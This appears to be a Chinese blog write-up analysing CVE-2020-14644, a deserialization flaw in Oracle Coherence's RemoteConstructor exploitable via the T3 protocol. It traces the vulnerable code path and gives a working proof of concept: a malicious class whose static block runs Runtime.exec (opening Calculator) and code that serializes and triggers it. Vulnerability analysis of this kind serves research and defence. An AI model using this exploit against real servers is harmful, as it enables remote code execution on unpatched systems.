1 前言
这个漏洞整体来说还算比较简单的,在构造上也几乎没有任何难处,利用上来说是一个标准的反序列化漏洞,需要配合T3协议默认开启才能进行攻击,因此条件上还是有限制的。
这里膜kk师傅,附上参考文章:https://paper.seebug.org/1281/
2 简单分析
出现漏洞的代码位于com.tangosol.internal.util.invoke.RemoteConstructor的第126行
1
2
3
|
public Object readResolve() throws ObjectStreamException {
return this.newInstance();
}
|
这里跟进newInstance函数
1
2
3
4
|
public T newInstance() {
RemotableSupport support = RemotableSupport.get(this.getClassLoader());
return support.realize(this);
}
|
跟进realize函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public <T> T realize(RemoteConstructor<T> constructor) {
ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition());
Class<? extends Remotable> clz = definition.getRemotableClass();
if (clz == null) {
synchronized(definition) {
clz = definition.getRemotableClass();
if (clz == null) {
definition.setRemotableClass(this.defineClass(definition));
}
}
}
Remotable<T> instance = (Remotable)definition.createInstance(constructor.getArguments());
instance.setRemoteConstructor(constructor);
return instance;
}
|
这里通过getDefinition函数获取ClassDefinition类的定义,然后在下文中进行了类的实例化,也就是definition.createInstance,那么如果这里的definition我们可控,我们就可以通过传入字节码进行类的实例化,并将恶意语句写在类中,实现攻击。
恶意类的poc如下,其中这里对应coherence的版本哈希号,因此在构造时需注意对应的版本号
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
package com.tangosol.internal.util.invoke.lambda;
import java.io.IOException;
public class LambdaIdentity$423B02C050017B24DB10DFF759AA56BF{
public LambdaIdentity$423B02C050017B24DB10DFF759AA56BF() {
}
static {
try {
Runtime.getRuntime().exec(“open /Applications/Calculator.app”);
} catch (IOException var1) {
var1.printStackTrace();
}
}
}
|
poc代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
import java.io.*;
import java.nio.file.Files;
public class Main {
public static void main(String[] args) throws Exception{
File file = new File(“./out/production/cve-2020-14644/com/tangosol/internal/util/invoke/lambda/LambdaIdentity$423B02C050017B24DB10DFF759AA56BF.class”);
byte[] bytes = Files.readAllBytes( file.toPath());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(new ClassIdentity(LambdaIdentity.class), bytes), new Object[]{}
);
File f = new File(“tmp.ser”);
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(f));
obj.writeObject(constructor);
obj.close();
ObjectInputStream obj1 = new ObjectInputStream(new FileInputStream(f));
obj1.readObject();
obj1.close();
}
}
|
3 深入分析
首先从readObject分析开始
这里ObjectInputStream中有对魔术方法的判断,进入到checkResolve函数,如果存在进而调用invokeReadResolve函数,那么最终就进入到了RemoteConstructor的readResolve函数
接着跟进realize函数
这里比较关键的就是这个getDefinition函数,这里可以看到前面通过ClassIdentity重写了LambdaIdentity类,这里的m_sVersion根据coherence的各版本而异,在m_abClass中存放对应类的字节码,这里回到初始化定义的语句
这里ClassIdentity函数定义了一些初始化信息,因此我们的恶意类是根据这里的信息构造的,同时在ClassDefinition传入我们恶意类的字节码
最终在RemoteConstructor中传入我们构造的ClassDefinition
返回到上述definition的获取,在恶意类中我们没有构造Remoteableclass,因此cls返回为空,这里都不影响整体流程,最终代码进入到70行,进行definition的实例化构造,最终实现弹框
这个比赛参加了正赛前的热身赛,感觉题目出的可以,但是正赛那天因为有事,没有参加(第一次用vpn连接内网做ctf,感觉好刺激) 附上正赛的wp,以供学习吧~ 传送门:HappyCTF-writeup 相关推荐: YIT-CTF(二) …
请登录后发表评论
注册